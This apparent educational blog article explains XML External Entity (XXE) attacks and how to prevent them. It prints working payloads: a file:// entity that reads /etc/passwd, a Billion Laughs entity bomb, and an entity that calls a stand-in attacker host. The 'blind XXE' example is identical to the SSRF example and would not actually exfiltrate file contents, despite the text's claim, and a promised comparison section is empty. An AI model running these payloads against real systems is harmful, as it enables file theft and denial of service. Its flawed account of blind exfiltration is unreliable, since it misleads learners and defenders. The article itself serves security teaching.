XML External Entity (XXE): Overview, Attack & Prevention

In today’s digital world, websites, apps, and systems often share data to work together smoothly. One common format used for this exchange is XML (Extensible Markup Language), a structured way for machines to read and process information. While XML makes data sharing easier, it also comes with security risks. One such serious threat is the XML External Entity (XXE) attack. In this blog, you’ll learn what XXE is, how it works, why it’s dangerous, and how to defend your systems against it.

Table of Contents:

• What is XML External Entity (XXE)?
• What is XML External Entity Injection (XXE)?
• How Does an XXE Attack Work?
• Impact of an XXE Attack
• Types of XXE Attacks
• How to Prevent XXE Attacks
• Top Tools to Detect XXE Vulnerabilities
• What Are XXE Attack Payloads?
• XXE vs Other Injection Attacks
• Real-World Examples of XXE Attacks
• Common Mistakes That Cause XXE Attacks
• Conclusion

What is XML External Entity (XXE)?

XML External Entity (XXE) is a vulnerability that exploits a feature in XML where external data can be loaded and reused across files. This feature was designed to save time and reduce repetition by allowing XML files to reference common data stored elsewhere. While helpful in trusted environments, it becomes dangerous when used without proper restrictions. If an application accepts XML input without blocking external entity access, an attacker can send crafted XML that forces the system to read sensitive files or access internal data, resulting in serious data leaks or system exposure.

What is XML External Entity Injection (XXE)?

XML External Entity Injection (XXE) is a type of cybersecurity vulnerability in which the attacker can provide a crafted XML input that includes the request to load an external resource (such as a file from the server or a web address). If the server is not configured to block the request, it will fulfill the attacker’s command. The result could be a data leak, internal system access, or even crashing the service. XXE attacks are effective because certain XML parsers allow external entities, which means that the data can be pulled from outside the XML file. This feature was originally designed to make XML more flexible, but attackers can exploit it for malicious purposes.

Example of a Malicious XXE Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

NOTE: Do not run this code on any server or any online compiler.

Master Cybersecurity: Defend with Intelligence and Precision

Gain threat detection, incident response, and risk management skills to lead in today’s digital security landscape.

Explore Program

How Does an XXE Attack Work?

Let’s break down the process step-by-step:

• The attacker identifies a point of entry: Most common vulnerabilities happen when the system is accepting XML files, such as login forms, data uploads, or API functionality.
• They create a malicious XML file: The XML file may appear normal, but it contains special code (external entities) that tell the system to do things like read files, request some other data, or crash.
• The system parses the XML: If the system is not protected properly, it will follow the instructions and either provide the data or perform the action.
• The attacker may steal data or damage the system: The attacker might access the secret data or connect to other systems in the company, or destroy the application.

Impact of an XXE Attack

The consequences of an XXE attack can range widely depending on what the attacker seeks to achieve and how far the attacker can manipulate the system. Here are some of the most likely possibilities:

• Data Leakage: The attacker can read any private files that may reside on the server. They may contain usernames, passwords, credit card numbers, or personal data. It’s like someone opening your single lock on your drawer and reading your diary.
• Server-Side Request Forgery (SSRF): The attacker can convince the system to send requests to other servers, including internal servers that are not publicly open. This helps the attacker try to enumerate hidden services or to bypass firewalls.
• Denial of Service (DoS): Denial of Service or DoS is a cybersecurity attack in which the attacker can overload the server by sending large or repeated XML requests, causing it to slow down or crash. This makes the application unavailable to real users.
•  Local File Inclusion: The attacker tricks the system into including local files in the XML response. This could range from some configuration files, log files, or whatever the attacker wants to see.

Types of XXE Attacks

Let us look at different types of XXE attacks:

1. Billion Laughs Attack (Also Known as XML Bomb)

This form of attack is a ruse where the attacker defines small pieces of text and repeats them many times by using XML entities. These repeated pieces grow very large, very quickly. The system expands them until it runs out of memory and crashes.

What it does:

• Uses repeated XML entities.
• Overload the system memory.
• Crashes the application or server (denial of service).

Example:

<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;">
]>
<message>&lol3;</message>

Warning: This code is dangerous and should never be tested on a real server, as it can stop or crash the system by using too much memory on your system.

2. XXE SSRF Attack (Server-Side Request Forgery)

In this type of attack, the attacker tricks the system into sending requests to other internal services or servers. The attacker doesn’t have direct access to any of these internal services; however, with XXE, they can trick the system into sending the request for the attacker.

What it does:

• Sends fake internal requests.
• Gets to internal services that are not publicly accessible.
• Bypasses firewalls or IP access.

Example:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "http://attacker-site.com/log?data=file:///etc/passwd">
]>
<user>
  <info>&xxe;</info>
</user>

Warning: The code can cause your system to access internal or private services when it is not supposed to. Never run this on any live or sensitive system.

3. Blind XXE Attack

In a blind XXE attack, the attacker will not be able to see the final result or any visible output of the attack. An attacker utilizes indirect feedback, such as slow server response, processing errors, or behavior of the underlying operation, to indicate that the blind XXE attack has been successful. Even without a direct result, the attacker can extract private data.

What it does:

• Sends data to a server controlled by the attacker.
•  No visible output, but still leaves the possibility of data leaking.
• Slower and more veiled than other attacks.

Example:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "http://attacker-site.com/log?data=file:///etc/passwd">
]>
<user>
  <info>&xxe;</info>
</user>

Warning: The exploit silently sends the file content to the attacker’s server without the user knowing. Do not run this on production systems.

How to Prevent XXE Attacks

Let’s look at some methods through which we can prevent XXE attacks, which will help you safeguard your data.

1. Disable External Entity Support in XML Parsers: If there is no need to load external entities in your application, then the best security measure to take is to disable external entity support. This will be available in most XML parsers, and it can typically be turned off via configuration when creating an XML parser. This is the most effective option for diminishing the risk of XXE attacks.

2. Use Updated and Secure XML Libraries: When handling XML, you should always use updated and secure libraries; many updated and modern libraries come with XXE protections automatically turned on. If you continue to use old libraries or insecure XML parsers, you will still be able to engage in unsafe behavior.

3. Validate All User Input: You should never trust XML files or data sent by users without validating. You should validate the XML file’s structure, size, and contents. You should accept only the data and formats you expect.

4. Regular Testing for Security: Cybersecurity tools can be used to locate XXE or other security issues in your applications. Similarly, regular security audits can uncover hidden issues before attackers discover them.

5. Stay Current with Software and Systems: Regularly install updates and security patches. Many XXE vulnerabilities stem from known bugs in outdated software, and timely updates can eliminate these risks before they are exploited.

Top Tools to Detect XXE Vulnerabilities

There are many tools available to help locate XXE vulnerabilities in web applications and sites for developers and security practitioners. These tools either scan through code or perform tests on systems for weaknesses where an attacker might be able to send malicious XML data. These include:

• Burp Suite: This is one of the most widely used penetration testing frameworks to test the security of a web application. This collection has extensions such as “XXE Injector” that can also be leveraged to test for XXE.
• OWASP ZAP:  A free, open-source security scanner that can detect various vulnerabilities, including XXE.
• Nmap with NSE scripts: This is commonly used for network scanning. Some of the scripts can be leveraged to determine if XML handlers are unsafe.
• Postman: This application is primarily to test APIs and can be leveraged to manually send XXE payloads directly to the XML parser to examine XXE vulnerabilities
• XXEinjector: A custom tool designed specifically for locating and exploiting XXE.

What Are XXE Attack Payloads?

XXE attack payloads are specific markers of XML data that are used by the attacker to see if they can discover if a system is exploitable. XXE payloads are used to perform actions such as:

• File Retrieval: The attacker attempts to retrieve protected files or system files from the server.
• SSRF Execution: The attacker will use the XML to make the server connect to internal systems or restricted APIs.
• Blind Data Exfiltration: The attacker cannot see the data, but sends it to their controlled server and sees the responses.
• Error Responses: Some payloads can be used to generate failures or delays in processing, so the attacker can understand if the system is reacting to the XML code that is injected.

XXE vs Other Injection Attacks

Let us view the difference between XXE and other common injection attacks:

Real-World Examples of XXE Attacks

XXE attacks have impacted numerous well-known organizations and systems.

1. Dropbox (2014)

In 2014, a security researcher identified an XXE vulnerability in the file preview system of Dropbox.  When the affected file types were uploaded (and in particular, .svg files, which are XML-based), the system would attempt to parse the file without disabling external entity processing. The researcher created a harmful XML file that made the server send internal requests, letting it reach files the application was never meant to access.

Impact:

• Provided a mechanism to gain access to files through external entities.
• Demonstrated how even “trusted” platforms could be exploited if the XML is not handled securely.
• Dropbox patched the vulnerability quickly and paid the researcher for the report under the bug bounty program.

2. Yahoo (2013)

In 2013, Yahoo was discovered to have an XXE vulnerability through their image processing, and a security researcher crafted an SVG (Scalable Vector Graphics) file that allowed for a blind XXE. The exploited file allowed the researcher to exfiltrate the contents of internal files to an external server.

Impact:

• Allowed for an understanding of the risk of XML being present within an image file (like SVG).
• Demonstrated that blind XXE can permit massive data leaks.
• Yahoo quickly patched the vulnerability and acknowledged the research publicly.